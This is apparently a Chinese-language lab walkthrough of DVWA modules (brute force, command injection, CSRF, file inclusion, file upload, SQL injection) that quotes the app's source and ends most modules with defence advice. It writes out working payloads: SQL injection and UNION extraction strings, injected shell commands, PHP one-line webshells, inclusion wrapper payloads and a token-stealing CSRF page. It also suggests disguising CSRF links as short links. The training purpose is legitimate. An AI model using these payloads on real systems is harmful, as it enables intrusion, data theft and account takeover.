目录
模块一 Brute Force(爆破)
Security level is currently: Low
Security level is currently: medium
Security level is currently: high
Security level is currently: impossible
Security level is currently: Low
Security level is currently: medium
Security level is currently: high
Security level is currently: impossible
Security level is currently: Low
Security level is currently: medium
Security level is currently: high
Security level is currently: Low
Security level is currently: medium
Security level is currently: high
Security level is currently: Low
Security level is currently: medium
Security level is currently: high
Security level is currently: impossible
#免责声明:
本文仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。
模块一Brute Force(爆破)
Security level is currently: Low
随便输入用户名和密码抓一个包
抓包后发送到intruder,除默认变量,将username和password重新设置成新的变量,将Attrack type设置成Cluster boomb模式。
Payload, 导入一个账号密码的爆破字典。开始爆破
爆破出长度不一样的就是用户名和密码。
查看源码
<?php
//检查变量是否设置(先看有没有Login参数)
if( isset( $_GET[ 'Login' ] ) ) {
//获取密码,存入pass变量中
$user = $_GET[ 'username' ];
//获取密码
$pass = $_GET[ 'password' ];
//将密码使用md5加密
$pass = md5( $pass );
//构建SQL语句,查询结果保存在query变量中
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
//数据库查询,将查询结果保存在result变量中,查到了,保存用户具体信息;未查到,就在页面上输入错误结果,result为空
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//结果存在并且返回一条记录,说明查到了
if( $result && mysqli_num_rows( $result ) == 1 ) {
//查询结果关联数据row,row已经变成键值对
$row = mysqli_fetch_assoc( $result );
//获取登录成功图片
$avatar = $row["avatar"];
// Login successful
//登录成功,输出到页面上
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
//未查到,错误信息输出到页面上
echo "<pre><br />Username and/or password incorrect.</pre>";
}
//释放资源
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
low级别的代码直接获取用户输入的用户名和密码,密码再经过MD5进行加密,所以杜绝了通过密码进行SQL注入的可能。
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"
关注这条代码,当这条代码admin'or'1'='1,变成了
$query = "SELECT * FROM `users` WHERE user = '$admin'or'1'='1' AND password = '$pass';"
同时这个query就符合$result && mysqli_num_rows( $result ) == 1 这条判断语句的形式,登陆成功。
当输入admin’ and ‘1’=’1错误回显,说明此处存在sql注入,验证了上面的代码审计。
Security level is currently: medium
先打开代码审计发现,中级相对于低级多了一个加密mysqli_real_escape_string
mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符所以使用bp爆破,将网页发给bp
Get请求,用户名和密码在请求参数里面,直接进行爆破,长度最长的一般是正确密码。
查看源码,Medium级别的代码主要增加了mysql_real_escape_string函数。
这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击。同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是依然没有加上有效的防爆破机制。依旧使用burp爆破,过程与low等级一致
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
Medium级别的代码主要增加了mysql_real_escape_string函数。尝试SQL注入失败。
Security level is currently: high
先审计代码,发现high级别相对于上一级别多了一个token,登录验证的时候需要验证四个参数 username password login use-token,token和sessionId原理相同,是对key和key对应的用户信息进行加密后的加密字符,登录成功后,会在响应主体中将{token:'字符串'}返回给客户端。客户端通过cookie、sessionStorage、localStorage都可以进行存储。再次请求时不会默认携带,需要在请求拦截器位置给请求头中添加认证字段Authorization携带token信息,服务器端就可以通过token信息查找用户登录状态。
对于有token来防护csrf的,可以使用到这个功能进行爆破,因为每次用户的token都是随机的。选择攻击模式为pitchfock,并且给要破解的token项带上美元符号然后进行设置参数,首先现把攻击线程设置为1,因为Recusive-Group不支持多线程工作,之后将Redirections设置为always。之后回到payload设置参数,第一个参数按照一般形式设置,第二个参数选择Recoursive。之后回到options选择grep-extract界面选择添加
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
对于有token来防护csrf的,可以使用到这个功能(Recursive Grep+pitchfock)进行爆破,抓包发现有token选择Pitchfork模式,为password和user_token 添加变量
将线程数设置为1
递归查找,将上一个请求的相应token作为下一个请求的payload的token,所以就不并发
Options -> Grep-Extract模块 -> add进行相应设置,获取相应的token,截取相应token的前后标识,用于下次截取
Redirections模块设置允许重定向,选择always
设置 Payloads,选择密码本
第二项的时候选择Recursive grep 并且把之前得到的token值粘贴到下方的方框中
在Resource Pool中重新创建一个新的Resource Pool并把Max concurrent requests改为1即可,如图所示
Security level is currently: impossible
查看源代码, impossible级别在 high 的基础上对用户的登录次数有所限制,当用户登录失败达到3次,将会锁住账号爆破也就无法继续,同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
增加了账户锁定机制 防止爆破
防御措施
- 不使用弱口令
- 密码分级制度
- 口令不出现个人身份相关的信息
- 尽可能增加密码复杂度(大小写字母、数字、特殊字符)
- 一定时间段必须更换密码
- 不保存、不传播密码
模块二 Command Injection(命令执行)
Security level is currently: Low
用户可以执行恶意代码语句,在实战中危害比较高,也称作命令执行,一般属于高危漏洞
| 命令管道符
格式:第一条命令 | 第二条命令 [| 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用
& 组合命令
语法:第一条命令 & 第二条命令 [& 第三条命令...]
这个符号允许在一行中使用 2 个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。
这里&两边的命令是顺序执行的,从前往后执行。
&& 组合命令
语法:第一条命令 && 第二条命令 [&& 第三条命令...]
|| 组合命令
语法:第一条命令 || 第二条命令 [|| 第三条命令...]
当一条命令失败后才执行第二条命令,当碰到执行正确的命令后将不 执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;组合命令和重定向命令一起使用必须注意优先级 管道命令的优先级高于重定向命令,重定向命令的优先级高于组合命令。
&、&&、||为组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是 允许的,而且用的非常广泛。
简单的来说就是
aa && bb
先执行aa,成功后再执行bb,若aa运行失败则bb不会再运行
aa || bb
先执行aa,若执行成功则不再执行bb,若失败则再执行bb
aa & bb
先执行aa再执行bb,无论aa是否成功
aa | bb
管道符,将aa执行完的结果交给bb去使用
查看源码可以直接执行windows命令。
执行命令:127.0.0.1 & whoami,存在结果回显。或
127.0.0.1 && ipconfig、127.0.0.1&&net user
Security level is currently: medium
查看源代码,将&&和;替换了成空字符串,可以尝试组合命令&和||
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
执行命令:127.0.0.1 & whoami,存在结果回显。
Security level is currently: high
查看源码,过滤了这些特殊字符
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
仔细观察|后面是有一个空格的也就是说其实并没有把|符号过滤掉,其实过滤掉的是|加空格。
执行127.0.0.1 |whoami和127.0.0.1 |ipconfig
Security level is currently: impossible
查看源码的这一段基本上是写死了,将输入的ip以.分割,形成一个数组,然后判断数组中每一个值是不是数字型,并且数组长度是否等于4,只能输入ip的格式。
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
防御措施
在PHP下禁用高危系统函数
找到php.ini,查找到disable_functions,添加禁用的函数名
参数的值尽量使用引号包括,并在拼接前调用addslashes进行转义。
不执行外部的应用程序或命令
尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行system、eval等命令执行功能的函数前,要确认参数内容。
使用escapeshellarg函数处理相关参数
escapeshellarg函数会将用户引起参数或命令结束的字符进行转义,如单引号"’“会被转义为”\’",双引号“””会被转义为""",分号";“会被转义为”;",这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中包括的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。
使用safe_mode_exec_dir指定可执行的文件路径
模块三 CSRF(跨站请求攻击)
原理:指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
即用户登录、浏览并信任正规网站A,网站A通过用户的验证并在用户的浏览器中产生Cookie。攻击者利用网站B通过在网站A中添加图片链接等方式诱导用户User访问网站B。用户被诱导访问网站B后,网站B会利用用户的浏览器访问第三方网站A,并发出操作请求。由于浏览器访问时带上用户的Cookie,网站A无法分辨请求由何处发出,攻击网站B就达到了利用A的身份操作的目的。最常见的就是QQ空间的登陆。
可以这样理解CSRF:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
漏洞利用前提:用户必须登录、黑客懂得一些发包的请求,服务器端是不会有二次认证的,被害者是不知情的
Security level is currently: Low
查看源代码:
直接输入两次密码相同,密码被成功修改。点击上方的Test Credentials尝试登录,输入用户名和刚修改的密码,登录成功。
所以应该是生成一个链接,让用户点击进去访问,所以可以利用bp抓包发送到repeater,修改密码为自己想修改的,然后右击利用工具生成csrf,然后复制网页链接。
点击提交,密码修改成功,相当于点了一个钓鱼链接。
尝试用修改的密码登录,登录成功
在这里也可以用bp的重放工具直接修改密码成功。
Security level is currently: medium
查看源码多了一句referer的验证, 即用户的请求头中的Referer字段必须包含了服务器的名字
抓包
复制链接,然后讲刚刚抓到的包丢弃,就说明这个操作没有成功。将刚刚抓到的包的链接放到其他浏览器,接着用bp拦截,看看请求内容。
http://www.dwva/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
请求中没有referer字段
手动添加referer字段内容,重放请求包内容返回200
Security level is currently: high
相较于medium 增加了token 用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求,所以需要利用 xss漏洞获取token。
查看源码,会生成随机的token。
if ($change) {
// Check Anti-CSRF token
checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,
需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。
试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。
<script type="text/javascript">
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
<iframe src="http://dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()">
<form method="GET" id="transfer" action="http://dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
访问这个html文件 就会获取token值,由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器中,才有可能完成攻击。
小tip:
在生成csrf的时候可以使用自动生成短链接的形式插入到页面当中,让用户不经意间点击而且看起来并不像一个攻击链接。
这里分享一个生成短链接的网址,若有更好的可以推荐推荐。
防御措施
在Http响应头中,通过设置set-cookie时,可以带上SameSite选项
验证请求的来源站点:由于CSRF攻击大多来自第三方站点,因此服务器可以禁止来自第三方站点的请求。
添加HTTP请求头中的Referer和Origin属性
模块四 file inclusion(文件包含漏洞)
服务器执行php文件时,能够通过包含函数加载另一个文件中的php代码,当被包含的文件中存在木马时,也就意味着木马程序会在服务器上加载执行
在php中文件包含函数分为四个:
require(),require_once(),include(),include_once()
其中require和include的区别是,require出现错误的时候,会直接报错并退出程序的执行,而include包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行。Request_once和include_once则只包含一次
常见的伪协议:
1. php://filter 可以对文件进行base64的形式读取需要allow_url_include=on
用法:
?file=php://filter/convert.base-encode/resource=xxx.php
2.php://input可以进行代码执行,写入木马,利用post传参需要allow_url_fopen和allow_url_include=on
3. file://可以读取系统文件
4. data://伪协议 数据流封装器,利用了流的概念,和php://input类似,同样可以造成代码执行
?file=data:text/plain,<?php phpinfo()?>
?file=data://text/plain;base64,执行代码base64加密后
5. phar://这个协议不管后缀是什么,都会当做压缩包来解压,php>=5.3.0压缩包需要 zip协议压缩,rar不行,首先先准备一句话木马,然后把他压缩,在修改成.jpg,然后利用phcar解析,他会把.jpg解压成.php
6. zip://可以访问压缩文件中的子文件,且不需要指定后缀名,先准备一个txt文件,里面的内容为<?php eval($_REQUEST[‘CMD’]);?>,然后进行压缩成test.zip,上传www目录下面然后用zip伪协议进行命令执行
格式:zip://压缩包名#压缩包子文件名
**文件包含又分为两类:**本地问价包含和远程文件包含
远程文件包含还需要php配置文件中打开两个配置,但是从php5.2开始allow_url
_include默认为off
allow_url_fopen = on
allow_url_include = on
Security level is currently: Low
养成查看源码的好习惯,对于后面代码审计有很好的帮助。源码为做任何处理,直接获取到page信息。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确实为php,则会正常执行并返回结果,如果不是,则打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。构造url:http://ip/filename?page=/a.txt,可见成功读取文件内容。
直接用hackbar插件load url信息,然后将page指到file1,file2,file3从而将信息显示到页面。file2,file3也是如此。
接下来可以利用漏洞上传一个木马文件用菜刀来连接:
上传木马成功:
用菜刀连接刚刚的木马文件
Security level is currently: medium
老规矩查看源码,文件的http://、https://、../、..\\被替换掉了。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
但是使用 str_replace 函数进行过滤是很不安全的,通过”htthttp://p://” ,”…/./”就会绕过这个黑名单。
Security level is currently: high
查看源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
源码中含有fnmatch()函数,而这个函数是用来匹配字符串的,限定了$file变量的开头只能是file开头,这样做看似安全,其实可以使用file协议绕过这个限制。
http://www.dwva/vulnerabilities/fi/?page=file://E:\phpstudy_pro\WWW\DVWA-master\phpinfo.php
防御措施
1、设置白名单
代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参数进行比较。
2、过滤危险字符
由于Include/Require可以对PHP Wrapper形式的地址进行包含执行(需要配置php.ini),在Linux环境中可以通过”…/…/”的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP文件。
3、置文件目录
PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件。
4、关闭危险配置
PHP配置中的allow_url_include选项如果打开,PHP会通过Include/Require进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认是关闭的。
模块五 File Upload(文件上传漏洞)
文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。
上传漏洞与SQL注入或 XSS相比 , 其风险更大 , 如果 Web应用程序存在上传漏洞 , 攻击者上传的文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。
Security level is currently: Low
先看源代码,对上传的内容没有做任何防护。
直接上传一句话木马
<?php @eval($_POST[123]);?>
直接访问这个地址没有回显代表上传成功。
用蚁剑连接,地址是本机的ip,尝试ip+端口+aaa.php连接不成功,加上明确的文件路径可以连接成功。
Security level is currently: medium
查看源码,发现对文件类型和长度做了限制
上传一句话木马,将后缀修改为jpeg,因为限制的格式就是jpg和png格式。
用bp抓包修改后缀,一句话木马上传成功,可以用蚁剑连接测试,因为是在本地搭建的也可以直接到该目录下查看是否上传成功。
Security level is currently: high
查看源码,发现比medium定义的时候多了一句,substr函数有字段截取的功能外,还可以用来替换字段,相当于用.来替换了。
可以看到这里又添加了一个getimagesize(string filename)函数,它会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。这里读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。
可以尝试将一句话木马和jpg文件复制成一个jpg文件
copy 1.jpg/b+aaa.php/a 11.jpg生成一个11.jpg文件,打开刚生成的文件可以看见文件的最下方存在一句话木马文件。
蚁剑安全等级改为high,并点击保存其cookie值。连接刚刚上传的木马文件名称就可以了。
Security level is currently: impossible
分析源码可以看到,代码中加入了token机制用于防御CSRF攻击,并对文件名进行了MD5加密,防止了00截断绕过过滤规则,同时对文件后缀和文件类型做了白名单设置,并且还对文件内容作了严格的检查,不符合图片的内容一律舍弃,导致攻击者无法将含有恶意代码的图片上传成功。
防御措施
1、文件上传的目录设置为不可执行。
只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。
2、判断文件类型。
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。
3、使用随机数改写文件名和文件路径。
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。
4、单独设置文件服务器的域名。
由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。
5、使用安全设备防御。
文件上传攻击的本质就是将恶意文件或者脚本上传到服务器,专业的安全设备防御此类漏洞主要是通过对漏洞的上传利用行为和恶意文件的上传过程进行检测。恶意文件千变万化,隐藏手法也不断推陈出新,对普通的系统管理员来说可以通过部署安全设备来帮助防御。
模块六Insecure CAPTCHA(不安全的验证码)
漏洞原理
使用CAPTCHA可以防止计算机恶意破解密码、刷单等,保证用户是人类(无法快速反复发送请求)。攻击者绕过CAPTCHA验证后,可以使用恶意脚本操控计算机反复发送请求或者在异地实现绕过验证的CSRF攻击。服务器使用recaptcha_check_answer()函数验证用户输入的正确性。可以利用服务器核对验证信息这个环节,绕过CAPTCHA
验证,完成非人类请求。
Security level is currently: Low
查看源码,通过post传参到后台,这里修改密码的过程有两步,第一步是CAPTCHA的验证环节,第二步是将参数POST到后台,代码没有对CSRF进行任何防护,可以利用CSRF漏洞进行攻击。
看提示
根据文件路径修改配置,直接查找recaptcha,填入任意值好像也可以,也可以填入值:
$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';
先暂时跳过这个模块,可能配置有问题,一直出不来。
模块七SQL Injection(SQL注入)
查看源码,没有对输入限制
尝试单引号注入,观察注入类型,存在单引号注入
可以看到,输入' or '1'='1用户名都显示出来了
尝试看看有几列,输入' and 1=1 order by 3#报错,而' and 1=1 order by 1(2)#正常,说明存在两列
查看显示位,' and 1=1 union select 1,2 #
爆破数据库名:' union select version(),database() # 数据库名为root,版本信息为5.7.26
得到数据库名以后就是要查表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='root'#
试了好几个都是这种报错
后面查了一下解决办法
提交后出现报错为“Illegal mix of collations for operation UNION”,原因是UNION两端的排序规则不同,我们打开phpstudy,在软件管理中找到叫phpMyAdmin的一个mysql管理工具并安装,点击“管理”安装phpMyAdmin4.8.5
查了一下编码问题,在sql语句from前添加COLLATE utf8_general_ci
即可
1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#
爆破字段名
1’ and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table schema=’admin’ and table name=’admin’#
尝试sqlmap方式,拿到cookies